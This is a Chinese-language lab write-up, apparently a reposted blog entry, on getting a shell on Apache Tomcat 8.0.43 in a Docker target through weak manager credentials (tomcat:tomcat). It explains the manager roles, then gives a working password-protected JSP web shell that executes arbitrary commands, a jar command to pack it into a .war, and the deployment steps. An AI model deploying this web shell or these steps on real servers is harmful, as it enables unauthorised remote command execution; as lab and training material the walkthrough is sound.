Tomcat弱口令GetShell
阿新 • • 發佈:2021-08-16
有口令就好說
0x00 漏洞概述
Tomcat支援後臺部署.war檔案——可直接將WebShell部署到web目錄下。訪問後臺的條件是使用者具有相應許可權。
war包是用來進行Web開發時一個網站專案下的所有程式碼,包括前臺HTML/CSS/JS程式碼,以及後臺JavaWeb的程式碼。當開發人員開發完畢時,就會將原始碼打包給測試人員測試,測試完後若要釋出則也會打包成war包進行釋出。war包可以放在Tomcat下的webapps或work目錄,當Tomcat伺服器啟動時,war包即會隨之解壓原始碼來進行自動部署。
Tomcat 7+的許可權有:
- manager(後臺管理)
- manager-gui擁有html頁面許可權
- manager-status擁有檢視status的許可權
- manager-script擁有text介面許可權(包括status許可權)
- manager-jmx擁有jmx許可權(包括status許可權)
- host-manager(虛擬主機管理)
- admin-gui擁有html頁面許可權
- admin-script擁有text介面許可權
這些配置位於conf/tomcat-users.xml中。正常安裝情況下,Tomcat 8中預設沒有任何使用者,且manager頁面只允許本地IP訪問。只有管理員手動修改了這些屬性後才可能出現攻擊機會。
0x01 靶機配置
仍舊使用映象。
使用Docker自帶命令列雖然比較樸素,但能夠滿足簡單檢視的需求。
可以看到弱口令使用者tomcat: tomcat,而且具有多項許可權。
0x02 利用流程
訪問靶機
Apache Tomcat/8.0.43。
弱口令登入
由於是實驗,事先從Docker獲取了弱口令賬戶。實戰中就沒這麼方便,常常還需要權衡是否有爆破的必要。
找個地方登入,比如/manager/status:
好看:
傳大馬
做一個含口令的.jsp大馬:
<% if("thisispasswd".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[1024]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
將這個.jsp壓縮到.zip檔案中,並將字尾改為.war即可上傳。或者更為標準,使用命令
jar -cvf wdnmd.war wdnmd.jsp
點選List Applications:
上傳war包:
部署成功:
可以看到返回訊息OK,也新增了目錄/wdnmd。
Get Shell
馬的位置是/[war包名]/[.jsp檔名]。
利用成功!